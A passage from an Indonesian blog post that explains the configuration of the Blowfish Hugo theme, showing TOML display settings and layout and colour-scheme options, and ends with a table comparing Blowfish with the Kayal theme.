&lt;/span&gt;&lt;span&gt;cardView&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;cardViewScreenWidth&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;layoutBackgroundBlur&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# only used when layout equals background&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;article&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;# Pengaturan untuk setiap artikel&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;36&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showDate&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;37&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showViews&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;38&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showLikes&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;39&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showDateOnlyInArticle&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;40&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showDateUpdated&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;41&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showAuthor&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;42&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;# showAuthorBottom = false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;43&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showHero&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;44&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;# heroStyle = &quot;basic&quot; # valid options: basic, big, background, thumbAndBackground&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;45&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;layoutBackgroundBlur&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# only used when heroStyle equals background or thumbAndBackground&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;46&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;layoutBackgroundHeaderSpace&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# only used when heroStyle equals background&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;47&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showBreadcrumbs&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;48&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showDraftLabel&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;49&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showEdit&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;50&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;# editURL = &quot;https://github.com/username/repo/&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;51&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;editAppendPath&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;52&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;seriesOpened&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;53&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showHeadingAnchors&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;54&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showPagination&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;55&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;invertPagination&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;56&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showReadingTime&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;57&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showTableOfContents&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;58&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;# showRelatedContent = false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;59&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;# relatedContentLimit = 3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;60&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showTaxonomies&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# use showTaxonomies OR showCategoryOnly, not both&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;61&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showCategoryOnly&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# use showTaxonomies OR showCategoryOnly, not both&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;62&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showAuthorsBadges&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;63&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showWordCount&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;64&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;# sharingLinks = [ &quot;linkedin&quot;, &quot;twitter&quot;, &quot;bluesky&quot;, &quot;mastodon&quot;, &quot;reddit&quot;, &quot;pinterest&quot;, &quot;facebook&quot;, &quot;email&quot;, &quot;whatsapp&quot;, &quot;telegram&quot;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;65&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showZenMode&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;66&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;67&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;list&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;# Pengaturan untuk daftar artikel di setiap menu&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;68&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showHero&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;69&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;heroStyle&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;background&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# valid options: basic, big, background, thumbAndBackground&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;70&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;layoutBackgroundBlur&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# only used when heroStyle equals background or thumbAndBackground&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;71&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;layoutBackgroundHeaderSpace&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# only used when heroStyle equals background&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;72&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showBreadcrumbs&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;73&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showSummary&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;74&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showViews&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;75&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showLikes&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;76&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showTableOfContents&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;77&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showCards&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;78&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;orderByWeight&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;79&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;groupByYear&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;80&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;cardView&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;81&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;cardViewScreenWidth&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;82&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;constrainItemsWidth&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;83&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;84&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;term&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;# Pengaturan untuk tags &amp;amp; categories&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;85&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showHero&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;86&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;heroStyle&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;background&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# valid options: basic, big, background, thumbAndBackground&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;87&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showBreadcrumbs&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;88&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showViews&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;89&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showLikes&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;90&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showTableOfContents&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;91&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;groupByYear&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;92&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;cardView&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;93&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;cardViewScreenWidth&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Header Layout&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Bagian header layout memiliki 5 template tema, yaitu:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;basic&lt;/li&gt;
&lt;li&gt;fixed&lt;/li&gt;
&lt;li&gt;fixed-fill&lt;/li&gt;
&lt;li&gt;fixed-gradient&lt;/li&gt;
&lt;li&gt;fixed-fill-blur&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Silakan merujuk ke website blowfish untuk melihat langsung perbedaannya:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;ColorScheme&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Ada 14 &lt;em&gt;&lt;strong&gt;colorscheme&lt;/strong&gt;&lt;/em&gt; yang disediakan oleh blowfish, diantaranya:&lt;/p&gt;&lt;p&gt;{{&amp;lt; typeit &amp;gt;}}&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;blowfish (default)&lt;/li&gt;
&lt;li&gt;avocado&lt;/li&gt;
&lt;li&gt;fire&lt;/li&gt;
&lt;li&gt;ocean&lt;/li&gt;
&lt;li&gt;forest&lt;/li&gt;
&lt;li&gt;princess&lt;/li&gt;
&lt;li&gt;neon&lt;/li&gt;
&lt;li&gt;bloody&lt;/li&gt;
&lt;li&gt;terminal&lt;/li&gt;
&lt;li&gt;marvel&lt;/li&gt;
&lt;li&gt;noir&lt;/li&gt;
&lt;li&gt;autumn&lt;/li&gt;
&lt;li&gt;congo&lt;/li&gt;
&lt;li&gt;slate
{{&amp;lt; /typeit &amp;gt;}}&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Silakan merujuk ke websitenya langsung untuk melihat &amp;amp; memilih. Selain dapat memilih &lt;em&gt;template&lt;/em&gt; &lt;em&gt;&lt;strong&gt;colorscheme&lt;/strong&gt;&lt;/em&gt;, kita juga dapat membuat &lt;em&gt;&lt;strong&gt;colorscheme&lt;/strong&gt;&lt;/em&gt; kita sendiri yang juga dijelaskan caranya di websitenya:&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Tautan: &lt;a href=&quot;https://blowfish.page/docs/getting-started/#colour-schemes&quot; target=&quot;_blank&quot;&gt;https://blowfish.page/docs/getting-started/#colour-schemes&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Homepage Layout&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Ada 6 &lt;em&gt;&lt;strong&gt;homepage layout&lt;/strong&gt;&lt;/em&gt; yang disediakan, yaitu:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;page&lt;/li&gt;
&lt;li&gt;profile&lt;/li&gt;
&lt;li&gt;hero&lt;/li&gt;
&lt;li&gt;card&lt;/li&gt;
&lt;li&gt;background&lt;/li&gt;
&lt;li&gt;custom&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Pengaturan &lt;em&gt;&lt;strong&gt;homepage layout&lt;/strong&gt;&lt;/em&gt; juga lebih baik dilihat langsung ke websitenya, supaya lebih mudah membandingkan dan melihat perbedaannya:&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Tautan: &lt;a href=&quot;https://blowfish.page/docs/homepage-layout/&quot; target=&quot;_blank&quot;&gt;https://blowfish.page/docs/homepage-layout/&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;HeroStyle&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Pengaturan &lt;em&gt;&lt;strong&gt;heroStyle&lt;/strong&gt;&lt;/em&gt; ada di bagian “article”, “list”, “taxonomy”, dan “term”. Terdapat 4 &lt;em&gt;&lt;strong&gt;heroStyle&lt;/strong&gt;&lt;/em&gt; yang dapat dipilih, yaitu&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;basic&lt;/li&gt;
&lt;li&gt;big&lt;/li&gt;
&lt;li&gt;background&lt;/li&gt;
&lt;li&gt;thumbAndBackground&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Untuk bagian ini, silakan dicoba manual sendiri untuk mencari &lt;em&gt;&lt;strong&gt;heroStyle&lt;/strong&gt;&lt;/em&gt; yang cocok.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Blowfish vs Kayal&lt;a href=&quot;#blowfish-vs-kayal&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;{{&amp;lt; article link=“/tech/kayal/” &amp;gt;}}&lt;/p&gt;&lt;p&gt;Sebetulnya, sudah lama dari artikel ini dibuat sejak saya berganti tema Hugo dari &lt;a href=&quot;https://mnjm.github.io/kayal/&quot; target=&quot;_blank&quot;&gt;Kayal&lt;/a&gt; ke &lt;a href=&quot;https://blowfish.page/&quot; target=&quot;_blank&quot;&gt;Blowfish&lt;/a&gt;. Saya berpindah tentu bukan tanpa alasan. Beberapa fitur yang saya perlukan dan saya cari-cari sejak awal membuat &lt;em&gt;static-site&lt;/em&gt; ini akhirnya terpenuhi di &lt;a href=&quot;https://blowfish.page/&quot; target=&quot;_blank&quot;&gt;Blowfish&lt;/a&gt;. Berikut adalah beberapa perbandingan &lt;a href=&quot;https://blowfish.page/&quot; target=&quot;_blank&quot;&gt;Blowfish&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://mnjm.github.io/kayal/&quot; target=&quot;_blank&quot;&gt;Kayal&lt;/a&gt; versi saya:&lt;/p&gt;


































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Aspek&lt;/th&gt;&lt;th&gt;Blowfish&lt;/th&gt;&lt;th&gt;Kayal&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Desain&lt;/td&gt;&lt;td&gt;Modern&lt;/td&gt;&lt;td&gt;Sederhana&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fitur &amp;amp; Kustomisasi&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://blowfish.page/docs/shortcodes/&quot; target=&quot;_blank&quot;&gt;Berlimpah&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mnjm.github.io/kayal/docs/shortcodes/&quot; target=&quot;_blank&quot;&gt;Terbatas&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Dokumentasi&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://blowfish.page/docs/&quot; target=&quot;_blank&quot;&gt;Cukup lengkap&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mnjm.github.io/kayal/docs/&quot; target=&quot;_blank&quot;&gt;Kurang&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Komunitas&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://blowfish.page/users/&quot; target=&quot;_blank&quot;&gt;Ramai&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Tidak ada&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Ukuran&lt;/td&gt;&lt;td&gt;500-an MB&lt;/td&gt;&lt;td&gt;&amp;lt;10 MB&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Itulah tadi beberapa keunggulan Blowfish dibandingkan Kayal yang pada akhirnya membuat saya memutuskan untuk mengganti tema Hugo saya. 😎&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;Btw, artikel ini dibuat di distro linux yang baru saja saya coba: &lt;a href=&quot;https://nixos.org/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;NixOS&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;nixos&quot; title=&quot;This is NixOS with XFCE, guys!&quot; loading=&quot;lazy&quot; width=&quot;1366&quot; height=&quot;768&quot; src=&quot;/_astro/nixos.CTzrglGq_2kV0uh.webp&quot; /&gt;&lt;figcaption&gt;nixos&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;
